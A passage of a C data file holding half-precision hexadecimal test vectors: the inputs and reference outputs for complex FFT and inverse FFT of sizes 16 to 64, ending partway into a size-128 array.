0xbd79, 0x3a48, 0x3c8e, 0x2902, 0xbe05, 0xbde2, 0x4369, 0x40e3,
0xb1f3, 0xbeb0, 0xba8c, 0x3c9d, 0xc42a, 0x4240, 0x3c98, 0x36ea,
0x3a2a, 0xb8c5, 0xc5a5, 0x4085, 0xae58, 0x2c1a, 0x3127, 0xc07b,
0x3b9a, 0x3d50, 0x3ee0, 0x40f0, 0xbe9b, 0x3cdd, 0xc40d, 0xb560,
0xc363, 0xb52e, 0x3e4d, 0xb59e, 0x40c5, 0xc180, 0x4184, 0x40ec,
0xc164, 0x3e6d, 0x3ece, 0x354f, 0x469a, 0xc004, 0x4252, 0x4336,
0x3c99, 0x3427, 0x448f, 0x3ccf, 0xc22a, 0x4148, 0xb316, 0x40b3,
0xb815, 0xc045, 0xc46d, 0xb41a, 0x44a7, 0x44e5, 0xbcbd, 0xbc99,
0x3ae9, 0xc1b8, 0xb84a, 0x4189, 0x3e08, 0x3919, 0x3566, 0x3dcd,
0x3c39, 0x3fab, 0x3ea7, 0xb88b, 0x3c22, 0x3bc2, 0x43ab, 0xb090,
0xc1c3, 0xb4ba, 0xc187, 0xc481, 0x4649, 0xbd45, 0x3c15, 0x3c7d,
0x3b42, 0xbdf9, 0x4144, 0xb9d5, 0xac78, 0x4152, 0x3e4d, 0xc15d,
0xbd6f, 0xb3b6, 0x3d12, 0x3a93, 0x4150, 0x3b04, 0xbc1a, 0x2bef,
0x38a3, 0xc040, 0x4395, 0x4031, 0xbd15, 0xc02d, 0x3c8c, 0x410b,
0xaf89, 0x3103, 0x4116, 0x35c9, 0x406f, 0x3c67, 0x41d7, 0xc0c6,
0x3d30, 0xbd69, 0xbbfc, 0x4006, 0xbfb8, 0xc16c, 0x3acf, 0x4120,
0x3e58, 0x44a1, 0xbcf9, 0x45a2, 0xc004, 0x3da3, 0xb03e, 0xb83f,
0xbe1a, 0xb30b, 0xc22b, 0xc124, 0x427e, 0x3c23, 0x3b3b, 0xbc9a,
0x3eaa, 0x257e, 0xc2fa, 0xbfa9, 0xc0a5, 0x420f, 0x38b0, 0x3819,
0x43c5, 0x2e38, 0x3ca1, 0x4461, 0x386d, 0xbd79, 0x4131, 0xbcef,
0xc2ae, 0xba73, 0xbe16, 0xbdd8, 0x4120, 0x3461, 0x41b2, 0xc17e,
0x42db, 0x3012, 0xc138, 0x123f, 0xb95d, 0x42db, 0xbe4c, 0xb660,
0x3ec1, 0x4433, 0x32ba, 0x4294, 0xbb02, 0xc0df, 0xb0d5, 0x39ee,
0x40b4, 0xb7c8, 0xc2f2, 0xb816, 0x3b6a, 0x3b1c, 0x354c, 0xc555,
0x39cb, 0x3828, 0x40a0, 0xbf1e, 0x4083, 0x3e4c, 0x3eb0, 0x3030,
0xc4a6, 0xc344, 0x42cd, 0xb64f, 0x3c57, 0x3a06, 0xc471, 0x326c,
0x406f, 0x3d59, 0xc3d7, 0x3c20, 0xc04a, 0xaf4f, 0xc069, 0x340d,
0x41e4, 0x4132, 0x3c95, 0xba04, 0xb5f5, 0x400b, 0x3708, 0x40dc,
0xb718, 0x3f0d, 0xb4da, 0xb86f, 0xbee5, 0xb446, 0xc381, 0xad1c,
0xbf2b, 0xc034, 0x41b3, 0xbb1f, 0xbf25, 0x3125, 0xb99d, 0xb94b,
0xb676, 0x44e1, 0x3589, 0xbb40, 0xb63c, 0x3e73, 0x3efb, 0x3d0a,
0x442e, 0xb7d3, 0xbe0a, 0x3a46, 0x457a, 0xbd9e, 0x3c31, 0xc1db,
0x3c83, 0x4087, 0xb91b, 0xbcd4, 0x400e, 0xb643, 0x4451, 0x40fc,
0xc027, 0x3a58, 0xb088, 0xc49c, 0x3f90, 0xc1ae, 0x41aa, 0x3c0c,
0x42fe, 0x4206, 0xbe4f, 0x3e4e, 0x3620, 0xbf72, 0xbe56, 0xc497,
0xc272, 0xbed9, 0xc408, 0xc55f, 0x299e, 0xc33f, 0xc121, 0x40d3,
0x3356, 0xb905, 0x446d, 0x3fcf, 0xb312, 0xb826, 0xb7bd, 0x4100,
0x376c, 0xb43a, 0xc36f, 0xc0c5, 0xc2d7, 0x390f, 0x40d8, 0xc0a0,
0xc22e, 0x3d66, 0x4420, 0x455c, 0xafaa, 0x3a1f, 0x44f3, 0xbb2a,
0x4209, 0xbdd4, 0x40d2, 0xc0da, 0x36a3, 0xbc0f, 0xc4fa, 0xbb31,
0x3dca, 0xb7cb, 0x3e00, 0x3a50, 0xbd9e, 0x4006, 0x31c2, 0x38db,
0xbc0d, 0xbfb3, 0x23d1, 0x3b9e, 0x37d2, 0xbfce, 0x3878, 0xb8ff,
0xbe61, 0xc237, 0x447f, 0xc1c6, 0xbc2b, 0xc60d, 0xbcb6, 0x3ab2,
0x3c5d, 0xc18e, 0xc134, 0xb58e, 0xbc61, 0x3b62, 0x3963, 0x3951,
0xbc3d, 0xc059, 0xc03c, 0x4148, 0x41c9, 0xc26d, 0xb7ba, 0xa1c3,
0xc1c6, 0x438d, 0x3a2f, 0xc40e, 0xbfe1, 0xb88e, 0x4089, 0x3f65,
0x41ee, 0xc03b, 0x3d00, 0xc0b2, 0x3d9b, 0x3fe4, 0xc396, 0xb506,
0x4337, 0xaafb, 0xc363, 0x412c, 0x3c24, 0xc483, 0xb9a5, 0xc122,
0xbc7b, 0xbd59, 0x2c51, 0x433e, 0x3db4, 0xbec7, 0x4033, 0xb7d9,
0xb8d1, 0xb588, 0xb44f, 0xb7ce, 0x3103, 0xb327, 0x3a84, 0x3c48,
0xc207, 0xb056, 0x3c8b, 0xba2e, 0xb429, 0xba75, 0xb609, 0x3989,
0x31a8, 0xc09d, 0xb9ce, 0x3be9, 0x3df7, 0x3eef, 0xbee7, 0xc1d6,
0xbd82, 0x3b03, 0x3c21, 0x422f, 0x9bf8, 0x4307, 0xbef1, 0x42c7,
0xb833, 0xbf66, 0x3d49, 0x4197, 0xbf10, 0x4490, 0xb886, 0xbe95,
0xbb28, 0x3a71, 0x437f, 0x4003, 0x3eb6, 0x3b0e, 0xc486, 0x3e17,
0x3921, 0xbbb5, 0x3c8b, 0x42ed, 0xc0f6, 0x3f82, 0x402c, 0xba14,
0xbbd5, 0x4156, 0xb6f4, 0x3c1e, 0xbe9b, 0xc10d, 0x41be, 0xc598,
0x3889, 0x405e, 0xb5f7, 0xc126, 0x3ec6, 0xbc3e, 0x439a, 0x3ebb,
0xbcfd, 0x35bb, 0x37be, 0xc0a9, 0xc4b6, 0x3d6b, 0xc683, 0xbf40,
0x3698, 0x43e5, 0x3b10, 0x395a, 0x3ed3, 0x36ac, 0xc0ba, 0xc027,
0xc491, 0x40ac, 0x3e64, 0x43ba, 0xbe24, 0xc015, 0x24a0, 0xc33d,
0xc1fa, 0xc250, 0xc11c, 0xc293, 0xc4ab, 0xc2d7, 0xc04b, 0x3f27,
0x40c0, 0xbb59, 0xc1ce, 0x3c6f, 0x40f6, 0xbdef, 0x42df, 0x3fee,
0xb663, 0x659a, 0x4154, 0x415d, 0x3a4e, 0x3c95, 0xb516, 0xbd29,
0x3f55, 0xbf77, 0xbf69, 0xbffa, 0x422b, 0xc089, 0xc366, 0xb811,
0x4317, 0x3eb7, 0x3a9d, 0xb41c, 0x4407, 0x432e, 0x2f2e, 0xa96a,
0xbde5, 0xbc8b, 0xc16f, 0x415c, 0xc39f, 0x41bc, 0xc1e5, 0xbc5f,
0x4301, 0xbeec, 0x3f51, 0xc0a8, 0xc064, 0x4525, 0x425d, 0x3acd,
0x34fc, 0x3ab3, 0x30bb, 0xb5df, 0xbe8f, 0x3e1c, 0xc2ed, 0x423a,
0xbd12, 0x4117, 0x4331, 0xc221, 0xaaee, 0x415b, 0xbe34, 0xc1d9,
0x44ca, 0x3c84, 0xc186, 0x3899, 0x44ec, 0xc508, 0x3cea, 0xb2d3,
0xbc8e, 0x2628, 0x3d67, 0xc142, 0xbaa4, 0x2de5, 0x3745, 0x3b87,
0x44c6, 0xc427, 0x3962, 0xb51a, 0x426e, 0xbcd3, 0x3845, 0xc2c0,
0x420d, 0xc10e, 0xc162, 0xb626, 0xb29d, 0x3c5a, 0xc036, 0x3e9a,
0xc2f9, 0xb855, 0xc14d, 0x38e9, 0xb476, 0x36a9, 0x35c9, 0xc49c,
0x378e, 0xb741, 0x386b, 0xbe52, 0x39b8, 0xbd52, 0xbd4e, 0x40b1,
0x3e1b, 0x42a5, 0x4229, 0xc6a7, 0xc463, 0x4270, 0xb145, 0x395d,
0xc0c7, 0xc612, 0x4050, 0xc10f, 0xb7cd, 0x2f49, 0xb565, 0xb926,
0x36f5, 0xb7ed, 0xc3dc, 0x4332, 0xc261, 0x4316, 0x307b, 0xbca7,
0x3c7b, 0xb849, 0xbac9, 0xb4a8, 0xb893, 0xbb50, 0xb7f0, 0xb873,
0xc0f4, 0xc180, 0x4155, 0xb1b3, 0x382a, 0x43e7, 0x4064, 0x3638,
0xc23d, 0xbc33, 0xbc2f, 0x1eb9, 0xba24, 0xc173, 0xbc4e, 0xbd6f,
0xb867, 0xbd48, 0x3cd8, 0xc117, 0x37c3, 0x39de, 0x2fb4, 0xbc4f,
0x3bf4, 0x3e58, 0xbdf2, 0xc502, 0xc0e2, 0x4072, 0x1f18, 0x443b,
0xc0b7, 0x443e, 0x43a7, 0xbe6d, 0x1f31, 0xba92, 0x42f9, 0xbd72,
0x4214, 0x3c23, 0x3ea3, 0xb8a7, 0x3b52, 0xbe21, 0x4416, 0x3c96,
0xbd5a, 0xbde8, 0x3fc1, 0x4063, 0xb8cf, 0x39a7, 0x3f06, 0x3b95,
0xc32c, 0x2f3b, 0xbfc5, 0xb580, 0x4283, 0xaa2f, 0xbc4a, 0x431c,
0xbd60, 0xbecb, 0xc043, 0x3f82, 0xb823, 0x4484, 0xc1c5, 0x3d3d,
0x4174, 0xbd01, 0x3d28, 0xbc17, 0xc01f, 0xbcf7, 0x3a36, 0xa346,
0x30da, 0x4212, 0x41ed, 0x3166, 0xc566, 0xbf85, 0xbd41, 0x3db7,
0xbacc, 0x37a8, 0xbff8, 0x36b0, 0xc0f5, 0xc1ae, 0x3c52, 0x4016,
0xbcf8, 0xc2fe, 0x3d13, 0x37fd, 0xb8d0, 0xc16e, 0x3f11, 0x451e,
0x405e, 0x4563, 0x412b, 0x3e8c, 0xc459, 0x4271, 0xbbbb, 0xc4f5,
0xb7a5, 0xc3dd, 0xaba7, 0x3f4a, 0x441e, 0xc0a4, 0xc102, 0x32e9,
0x42ca, 0xbac8, 0xadb4, 0xbd2d, 0xbe49, 0xc053, 0xc005, 0xbcec,
0xc6e0, 0x162f, 0xc088, 0xc1d1, 0xc3c4, 0x4063, 0x3b22, 0xbd5c,
0x40d8, 0xb40d, 0xbb3f, 0xc174, 0xb382, 0xbd55, 0x2cdf, 0xb9fc,
0xb722, 0x1fe0, 0x2d05, 0x3f82, 0x386d, 0xc408, 0x3f21, 0xbf0c,
0x3759, 0x3154, 0xc2fe, 0x3acd, 0x3ff3, 0x3c03, 0x342e, 0x3c8c,
0x37c8, 0xc25e, 0xc138, 0x3dd3, 0x4214, 0x4287, 0x359c, 0xc0f9,
0xbe7c, 0x4107, 0x40ef, 0x3b7a, 0xc4de, 0xb8b2, 0x3ec0, 0xb9f8,
0xb5a9, 0xbd09, 0xbe88, 0x2ddf, 0xc477, 0x3f88, 0x3a0a, 0x417a,
0xbe82, 0x3b3f, 0x3c44, 0xbb5e, 0x3e2d, 0xbdcc, 0xc3f4, 0xb4f3,
0xc35e, 0x3cde, 0x424c, 0x40e8, 0x30d4, 0xb5fb, 0xbe5e, 0xbfa2,
0xc515, 0xb371, 0x42ef, 0xb8a7, 0x3da2, 0x3e6f, 0xbe80, 0x38c5,
0xc189, 0x249c, 0x4572, 0xc575, 0x3117, 0x4164, 0x464c, 0xc01a,
0xa3d5, 0x3cd9, 0x3bcb, 0xbc30, 0x3896, 0x45aa, 0x439e, 0x410d,
0xbdad, 0xb29e, 0xbdeb, 0x3bc9, 0xbeea, 0x414f, 0x425a, 0x3e50,
0xb96f, 0xb51a, 0x3e06, 0x425e, 0x2ed9, 0xb8bb, 0x4038, 0xbdb4,
0xbed5, 0x420b, 0x419e, 0xb35b, 0x426f, 0x34c3, 0x39ea, 0x4261,
0xb02f, 0xc1cf, 0x40ba, 0x2c3d, 0xbc94, 0xbbdd, 0x417f, 0xc440,
0xbc6c, 0xc575, 0x3d20, 0xc475, 0xc085, 0x429e, 0x32ec, 0xbdbb,
0x23ab, 0xc11e, 0x440d, 0x3bb6, 0x3e0e, 0xbf55, 0x4465, 0x28c5,
0x4328, 0xbafc, 0xb933, 0x447b, 0xc46a, 0x4542, 0xbe3f, 0x3d11,
0x434d, 0x42fd, 0xba1f, 0xb833, 0xb9b1, 0x42ce, 0x4266, 0x3f8f,
0x401b, 0x401f, 0x2ca1, 0x4050, 0x3465, 0xbe4d, 0x40e4, 0x42a0,
0x3b6a, 0xbcbc, 0x35ed, 0x41d0, 0x3812, 0x40bf, 0x3ccc, 0x3ca4,
0xc47b, 0xc1ac, 0x41a5, 0xbb0c, 0x3ce4, 0xc465, 0x3b6c, 0x38d0,
0x3abf, 0xbfd4, 0x3cd6, 0xc0df, 0x3fe5, 0xaef7, 0x40ef, 0x394b,
0xc440, 0x3808, 0x3946, 0x3ee0, 0xc401, 0xbe93, 0x4644, 0x425a,
0xc0e8, 0x34c8, 0xc04f, 0x39b1, 0xbf5f, 0xc52d, 0x3d90, 0x4006,
0xb93d, 0xc0f0, 0xc07a, 0x386c, 0xbb4d, 0xc4c8, 0x411f, 0xbefa,
0x40db, 0x3bbd, 0x3a24, 0xbe5e, 0xbbd8, 0xbb0b, 0xbd63, 0xbc89,
0xb9e2, 0x413e, 0xc38b, 0x4194, 0xbeb2, 0x3063, 0x407c, 0x35d0,
0x3aad, 0xaf85, 0x35e4, 0x41be, 0xc25e, 0xc1a1, 0x34f3, 0x2925,
0xc00f, 0xc0f0, 0x3f20, 0x3a90, 0x3e73, 0x366b, 0xbe6c, 0x3e5f,
0xbc72, 0x4090, 0x412e, 0xb6d7, 0x3ebc, 0x3c42, 0x43ac, 0x3d1b,
0x3d3b, 0xc08c, 0xb822, 0xbb75, 0xb920, 0x3ec8, 0xb5dc, 0x3dc9,
0x3125, 0xbe4e, 0x3787, 0xc30c, 0x40fc, 0xb4e2, 0x35cb, 0xb3ec,
0x418d, 0xb51e, 0xc05a, 0xc5b1, 0x3f9f, 0x437c, 0xb2aa, 0x44de,
0xba29, 0x3e4b, 0x3641, 0xc2aa, 0x372b, 0xb8f9, 0xb600, 0xc112,
0x4007, 0x3216, 0xb92e, 0x4023, 0x45cf, 0x3c37, 0xc188, 0x3f6f,
0xc1b2, 0xb91f, 0x404b, 0xb89a, 0x3c24, 0xc240, 0x4478, 0x38e8,
0x38ce, 0x35b7, 0xba96, 0xc223, 0xb9bc, 0x4046, 0x3c5e, 0x3caa,
0xbb09, 0xc16a, 0xc044, 0x46af, 0x34e7, 0xb938, 0x4034, 0x3d13,
0x403e, 0x4440, 0x4271, 0xac1e, 0xc09a, 0xbd45, 0xc098, 0xc40c,
0xc178, 0x41a0, 0x3fc2, 0xc05d, 0xba82, 0xba1a, 0x4174, 0x3b1e,
0x3d8a, 0x342c, 0xbe3e, 0x3806, 0xc25f, 0x424b, 0xb51b, 0x3fbd,
0x4596, 0x427f, 0xbf71, 0x3d82, 0x3fa4, 0x3086, 0xbb98, 0x3f0e,
0xc12e, 0xc14e, 0xc1c0, 0xbe66, 0xbc2d, 0x3c68, 0x4163, 0xc0e2,
0x3fba, 0xbd4e, 0x3e8e, 0x4258, 0xc11c, 0xc116, 0x4187, 0xbdc3,
0x41e8, 0x4118, 0xbfa4, 0xb59b, 0xbcf8, 0xbde3, 0xc0b2, 0x40bd,
0x3f73, 0x4330, 0xc088, 0x3cbe, 0xaca3, 0x3df7, 0xc211, 0x40f1,
0x4080, 0xbfaa, 0xbe37, 0x425f, 0x40e8, 0xbd0d, 0x41f3, 0xbce0,
0x3ee7, 0x407c, 0xbbe2, 0xc438, 0x3d6c, 0x3d67, 0x40c9, 0xb843,
0xba5c, 0x3e08, 0xc18b, 0xc356, 0xc25d, 0x3ef5, 0x3627, 0x4361,
0xc0cc, 0xb0ff, 0x3ca4, 0x40d0, 0xb564, 0xb967, 0x3fd8, 0x47ba,
0xbc1c, 0xbbab, 0xbf8d, 0x4028, 0x458f, 0xb765, 0x4072, 0x3420,
0x4304, 0x2e1d, 0x3067, 0xabca, 0xbf60, 0xc184, 0xc2ac, 0x44bc,
0xb54b, 0x37b4, 0x3d50, 0x3966, 0x4108, 0x3004, 0xbc32, 0x3783,
0x40fe, 0x4315, 0x3f43, 0x4174, 0x4466, 0xc2d2, 0x40c1, 0x3a58,
0xaa53, 0xc208, 0x36af, 0xc1a9, 0x3eb9, 0x3d8e, 0xbc43, 0x2d53,
0x3e0c, 0xba02, 0xc1e5, 0xc191, 0xc664, 0x3caa, 0xbdc7, 0x401e,
0xb8e1, 0xb9ac, 0x36f3, 0xc34d, 0xc029, 0xbe97, 0x3440, 0xc221,
0xc403, 0x420e, 0x3233, 0x417f, 0x42ce, 0x3d7e, 0x3373, 0x3f13,
0x3c3b, 0xc4ec, 0x34c6, 0x339e, 0x3836, 0xb92e, 0x3d6d, 0x3380,
0xbc64, 0xc33e, 0xb08f, 0x2bb7, 0xc008, 0xc34d, 0x36c9, 0x3909,
0xbf9f, 0xbd8f, 0xbc3b, 0x3f30, 0xc5fb, 0xbe04, 0xbf11, 0x36c2,
0x38dc, 0xc4bd, 0xb84c, 0x35d5, 0x4001, 0x3ed1, 0x410a, 0x3fef,
0xc484, 0xc002, 0xbcfa, 0xa82f, 0xb2d2, 0x4571, 0x3ea6, 0xc0ee,
0x3ff8, 0xc4f0, 0xbb62, 0x381b, 0x404a, 0xb303, 0x459b, 0x426d,
0xc10b, 0xba35, 0xc085, 0xc567, 0x3ecd, 0x2ff6, 0xbf8c, 0x4241,
0x3ae8, 0x3a0a, 0x3dca, 0xb792, 0xbdc6, 0x3b66, 0x40b8, 0x3acf,
0x427a, 0x3972, 0xc0eb, 0x4458, 0x4018, 0x22ce, 0x3ac0, 0xba5a,
0x4128, 0x38e2, 0x3783, 0xb1a6, 0x3c18, 0x4177, 0x3a84, 0x3a2b,
0xbabc, 0xbf4f, 0x3c74, 0xc43d, 0x3889, 0x384c, 0x4004, 0x2abb,
0xc57d, 0xb60a, 0xc1cc, 0x3563, 0x3f1c, 0xb916, 0xb8c3, 0xc364,
0x3a6c, 0x411e, 0x382f, 0xb4ec, 0x3cb3, 0xbd31, 0x4147, 0xc032,
0xc43b, 0x3ced, 0xc351, 0x4549, 0xc3f1, 0xc011, 0x41e7, 0x3e81,
0xb877, 0x41a5, 0x3894, 0x4473, 0xc03f, 0x30dc, 0xbce8, 0xc07e,
0x40ca, 0x3d34, 0x3a8d, 0xbddc, 0x4427, 0x442f, 0x3ad4, 0x3afe,
0x3f11, 0x3dfb, 0x412f, 0xba59, 0x44b8, 0xbe1e, 0xc394, 0x38d8,
0x419b, 0xc470, 0x3c3a, 0xb8e1, 0xbf95, 0x3e45, 0x408f, 0xc147,
0xbb8f, 0xc414, 0x3c8f, 0x40d4, 0xb7d9, 0xb20d, 0x429a, 0xc052,
0xc26d, 0x4271, 0x3f89, 0x4197, 0xbcd9, 0xc3e0, 0x26ef, 0xbc29,
0x3d32, 0xaf72, 0x3ba9, 0x3a31, 0x3476, 0x2bb7, 0x3d6c, 0xb95e,
0x3ebe, 0xb9ed, 0xb912, 0x4085, 0xbcd6, 0xbdf1, 0xb941, 0x421c,
0xbe88, 0xb30c, 0x39b9, 0xb869, 0x3ddf, 0xa650, 0xc31b, 0xbcad,
0x4116, 0xbe2b, 0x43a3, 0x3ee9, 0xbd76, 0x3b55, 0x32c0, 0xc50a,
0xbbd0, 0x4244, 0xa66b, 0x3df1, 0x433e, 0x40fd, 0xc25c, 0x461b,
0xc5da, 0x40d3, 0x3db9, 0x43ee, 0x3f67, 0xc2f7, 0x3ae0, 0x44ab,
0xc090, 0xbe33, 0xa020, 0xbc68, 0x3cf8, 0xbf8a, 0x3de2, 0x4050,
0xc1b8, 0x3297, 0xbd62, 0x417b, 0xb8e1, 0xb8f1, 0x3ce0, 0xc24e,
0x2631, 0xc100, 0xc5b2, 0xc56b, 0xbc72, 0xc4b5, 0x4251, 0x443c,
0xbd45, 0xc08c, 0xb8c3, 0x43ed, 0xbfbd, 0x3a76, 0xbac9, 0x4083,
0x4266, 0x32c6, 0xb403, 0xc09d, 0x409a, 0xb15d, 0x35bb, 0x4197,
0xbf29, 0xc525, 0x3ca5, 0xb6db, 0xbd03, 0xc3e6, 0x3890, 0xb8cb,
0x3fb9, 0xb9f4, 0x3b59, 0x3de6, 0xc43f, 0xc07f, 0xbd3d, 0x41c9,
0x42fc, 0x351f, 0xbf43, 0xacf3, 0x2e72, 0xc333, 0xb980, 0xbbe4,
0xc2c4, 0xc2e4, 0x3f1f, 0xc0d1, 0x3f26, 0xc329, 0x4119, 0x464c
};
static const uint16_t in_cfft_step_16[32] = {
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0
};
static const uint16_t in_cifft_step_16[32] = {
0x4733, 0x0, 0xbb33, 0x4486, 0x0, 0x0, 0xbb33, 0x3d63,
0x0, 0x0, 0xbb33, 0x38d0, 0x0, 0x0, 0xbb33, 0x31bb,
0x0, 0x0, 0xbb33, 0xb1bb, 0x0, 0x0, 0xbb33, 0xb8d0,
0x0, 0x0, 0xbb33, 0xbd63, 0x0, 0x0, 0xbb33, 0xc486
};
static const uint16_t ref_cfft_step_16[32] = {
0x4733, 0x0, 0xbb33, 0x4486, 0x0, 0x0, 0xbb33, 0x3d63,
0x0, 0x0, 0xbb33, 0x38d0, 0x0, 0x0, 0xbb33, 0x31bb,
0x0, 0x0, 0xbb33, 0xb1bb, 0x0, 0x0, 0xbb33, 0xb8d0,
0x0, 0x0, 0xbb33, 0xbd63, 0x0, 0x0, 0xbb33, 0xc486
};
static const uint16_t in_cfft_step_32[64] = {
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0
};
static const uint16_t in_cifft_step_32[64] = {
0x4b33, 0x0, 0xbb33, 0x4892, 0x0, 0x0, 0xbb33, 0x41ef,
0x0, 0x0, 0xbb33, 0x3ebc, 0x0, 0x0, 0xbb33, 0x3c63,
0x0, 0x0, 0xbb33, 0x39e9, 0x0, 0x0, 0xbb33, 0x37b2,
0x0, 0x0, 0xbb33, 0x345e, 0x0, 0x0, 0xbb33, 0x2dac,
0x0, 0x0, 0xbb33, 0xadac, 0x0, 0x0, 0xbb33, 0xb45e,
0x0, 0x0, 0xbb33, 0xb7b2, 0x0, 0x0, 0xbb33, 0xb9e9,
0x0, 0x0, 0xbb33, 0xbc63, 0x0, 0x0, 0xbb33, 0xbebc,
0x0, 0x0, 0xbb33, 0xc1ef, 0x0, 0x0, 0xbb33, 0xc892
};
static const uint16_t ref_cfft_step_32[64] = {
0x4b33, 0x0, 0xbb33, 0x4892, 0x0, 0x0, 0xbb33, 0x41ef,
0x0, 0x0, 0xbb33, 0x3ebc, 0x0, 0x0, 0xbb33, 0x3c63,
0x0, 0x0, 0xbb33, 0x39e9, 0x0, 0x0, 0xbb33, 0x37b2,
0x0, 0x0, 0xbb33, 0x345e, 0x0, 0x0, 0xbb33, 0x2dac,
0x0, 0x0, 0xbb33, 0xadac, 0x0, 0x0, 0xbb33, 0xb45e,
0x0, 0x0, 0xbb33, 0xb7b2, 0x0, 0x0, 0xbb33, 0xb9e9,
0x0, 0x0, 0xbb33, 0xbc63, 0x0, 0x0, 0xbb33, 0xbebc,
0x0, 0x0, 0xbb33, 0xc1ef, 0x0, 0x0, 0xbb33, 0xc892
};
static const uint16_t in_cfft_step_64[128] = {
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0
};
static const uint16_t in_cifft_step_64[128] = {
0x4f33, 0x0, 0xbb33, 0x4c94, 0x0, 0x0, 0xbb33, 0x4611,
0x0, 0x0, 0xbb33, 0x4330, 0x0, 0x0, 0xbb33, 0x4108,
0x0, 0x0, 0xbb33, 0x3f9d, 0x0, 0x0, 0xbb33, 0x3e02,
0x0, 0x0, 0xbb33, 0x3cdb, 0x0, 0x0, 0xbb33, 0x3bf2,
0x0, 0x0, 0xbb33, 0x3a87, 0x0, 0x0, 0xbb33, 0x3957,
0x0, 0x0, 0xbb33, 0x3851, 0x0, 0x0, 0xbb33, 0x36d0,
0x0, 0x0, 0xbb33, 0x3527, 0x0, 0x0, 0xbb33, 0x3337,
0x0, 0x0, 0xbb33, 0x3046, 0x0, 0x0, 0xbb33, 0x29a9,
0x0, 0x0, 0xbb33, 0xa9a9, 0x0, 0x0, 0xbb33, 0xb046,
0x0, 0x0, 0xbb33, 0xb337, 0x0, 0x0, 0xbb33, 0xb527,
0x0, 0x0, 0xbb33, 0xb6d0, 0x0, 0x0, 0xbb33, 0xb851,
0x0, 0x0, 0xbb33, 0xb957, 0x0, 0x0, 0xbb33, 0xba87,
0x0, 0x0, 0xbb33, 0xbbf2, 0x0, 0x0, 0xbb33, 0xbcdb,
0x0, 0x0, 0xbb33, 0xbe02, 0x0, 0x0, 0xbb33, 0xbf9d,
0x0, 0x0, 0xbb33, 0xc108, 0x0, 0x0, 0xbb33, 0xc330,
0x0, 0x0, 0xbb33, 0xc611, 0x0, 0x0, 0xbb33, 0xcc94
};
static const uint16_t ref_cfft_step_64[128] = {
0x4f33, 0x0, 0xbb33, 0x4c94, 0x0, 0x0, 0xbb33, 0x4611,
0x0, 0x0, 0xbb33, 0x4330, 0x0, 0x0, 0xbb33, 0x4108,
0x0, 0x0, 0xbb33, 0x3f9d, 0x0, 0x0, 0xbb33, 0x3e02,
0x0, 0x0, 0xbb33, 0x3cdb, 0x0, 0x0, 0xbb33, 0x3bf2,
0x0, 0x0, 0xbb33, 0x3a87, 0x0, 0x0, 0xbb33, 0x3957,
0x0, 0x0, 0xbb33, 0x3851, 0x0, 0x0, 0xbb33, 0x36d0,
0x0, 0x0, 0xbb33, 0x3527, 0x0, 0x0, 0xbb33, 0x3337,
0x0, 0x0, 0xbb33, 0x3046, 0x0, 0x0, 0xbb33, 0x29a9,
0x0, 0x0, 0xbb33, 0xa9a9, 0x0, 0x0, 0xbb33, 0xb046,
0x0, 0x0, 0xbb33, 0xb337, 0x0, 0x0, 0xbb33, 0xb527,
0x0, 0x0, 0xbb33, 0xb6d0, 0x0, 0x0, 0xbb33, 0xb851,
0x0, 0x0, 0xbb33, 0xb957, 0x0, 0x0, 0xbb33, 0xba87,
0x0, 0x0, 0xbb33, 0xbbf2, 0x0, 0x0, 0xbb33, 0xbcdb,
0x0, 0x0, 0xbb33, 0xbe02, 0x0, 0x0, 0xbb33, 0xbf9d,
0x0, 0x0, 0xbb33, 0xc108, 0x0, 0x0, 0xbb33, 0xc330,
0x0, 0x0, 0xbb33, 0xc611, 0x0, 0x0, 0xbb33, 0xcc94
};
static const uint16_t in_cfft_step_128[256] = {
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
